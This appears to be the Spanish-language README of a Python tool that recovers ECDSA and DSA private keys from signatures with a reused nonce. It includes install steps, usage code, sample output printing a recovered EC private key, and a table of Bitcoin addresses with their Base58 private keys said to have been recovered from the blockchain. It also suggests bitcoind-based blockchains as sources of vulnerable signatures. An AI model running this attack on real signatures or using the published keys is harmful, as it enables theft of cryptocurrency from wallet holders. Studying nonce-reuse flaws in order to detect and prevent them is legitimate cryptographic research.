ecdsa-key-recovery

Realiza ataques de recuperación de clave privada por reutilización de nonce en ECDSA y DSA

Una herramienta de investigación criptográfica para analizar vulnerabilidades en firmas

Vamos a recuperar la clave privada de dos firmas que comparten el mismo nonce k. Observa cómo elegir el mismo nonce k da como resultado que ambas firmas tengan un valor de firma r idéntico. Para encontrar buenos candidatos para una reutilización de nonce en ECDSA, busca firmas que compartan el mismo r, pubkey en curve para diferentes mensajes (o hashes). Por ejemplo, los proyectos blockchain basados en bitcoind suelen ser buenas fuentes de material de firmas ECDSA.

• sampleA (r, sA, hashA, pubkey, curve)
• sampleB (r, sB, hashB, pubkey, curve)

sampleA = EcDsaSignature(r, sA, hashA, pubkey, curve)
sampleB = EcDsaSignature(r, sB, hashB, pubkey, curve) # misma privkey que sampleA, r idéntico debido a la reutilización del nonce k.

# recuperar la clave privada
sampleA.recover_nonce_reuse(sampleB)  # rellena sampleA con la clave privada recuperada lista para usar
print sampleA.privkey 

configuración

Python 2.x:

#> virtualenv -p python2.7 .env27
#> . .env27/bin/activate
(.env27) #> python -m pip install -r requirements.txt
(.env27) #> python setup.py install
(.env27) #> python tests/test_ecdsa_key_recovery.py

Python 3.x:

#> virtualenv -p python3 .env3
#> . .env3/bin/activate
(.env3) #> python -m pip install -r requirements.txt
(.env3) #> python setup.py install
(.env3) #> python tests/test_ecdsa_key_recovery.py

Recuperación de Claves Privadas de la Cadena de Bloques de Bitcoin

tools/README.md

Dirección BTC	Privkey Base58	r
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962	5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT	113563387324078878147267949860139475116142082788494055785668341901521289846519
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962	5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT	18380471981355278106073484610981598768079378179376623360720556873242139981984
1C8x2hqqgE2b3TZPQcFgas73xYWNh6TK9W	5JKkG6KXLCCPXN9m29ype6My7eR4AnCLaHKYrLvn6d3nd8BLjjw	19682383735358733565748628081379024202682929012377912380310432818686294127462
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962	5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT	6828441658514710620715231245132541628903431519484374098968817647395811175535

Ejemplo

crear objetos de firma recuperables:

from ecdsa_key_recovery import DsaSignature, EcDsaSignature, ecdsa, bignum_to_hex, bytes_fromhex

# especificar curva
curve = ecdsa.SECP256k1

# crear objeto pubkey ecdsa estándar a partir de cadena codificada en hex
pub = ecdsa.VerifyingKey.from_string(
        bytes_fromhex("a50eb66887d03fe186b608f477d99bc7631c56e64bb3af7dc97e71b917c5b3647954da3444d33b8d1f90a0d7168b2f158a2c96db46733286619fccaafbaca6bc"), curve=curve).pubkey
            
# crear objetos de firma recuperables sampleA y sampleB.
# r largo, s largo, hash bytestr, objeto pubkey.
sampleA = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565,   #r
                          49278124892733989732191499899232294894006923837369646645433456321810805698952), #s
                         bytes_fromhex(bignum_to_hex(
                             765305792208265383632692154455217324493836948492122104105982244897804317926)),
                         pub)
sampleB = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565,   #r
                          34219161137924321997544914393542829576622483871868414202725846673961120333282), #s'
                         bytes_fromhex(bignum_to_hex(
                             23350593486085962838556474743103510803442242293209938584974526279226240784097)),
                         pub)
                         
# clave aún no recuperada
assert (sampleA.x is None)     

recuperar la clave privada para sampleA

# intentar recuperar la clave - esto actualiza el objeto sampleA
sampleA.recover_nonce_reuse(sampleB)    # recuperar la clave privada compartida con sampleB
assert (sampleA.x is not None)          # afirmar que la recuperación de la clave privada fue exitosa. Esto nos da un objeto de clave privada ECDSA listo para usar
assert sampleA.privkey

salida

INFO:__main__:------------EcDSA------------
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=⨯ > - recuperando clave privada por reutilización de nonce ...
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=✔ > - ¡Clave privada recuperada!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----

DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=⨯ > - recuperando clave privada por reutilización de nonce ...
DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=✔ > - ¡Clave privada recuperada!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----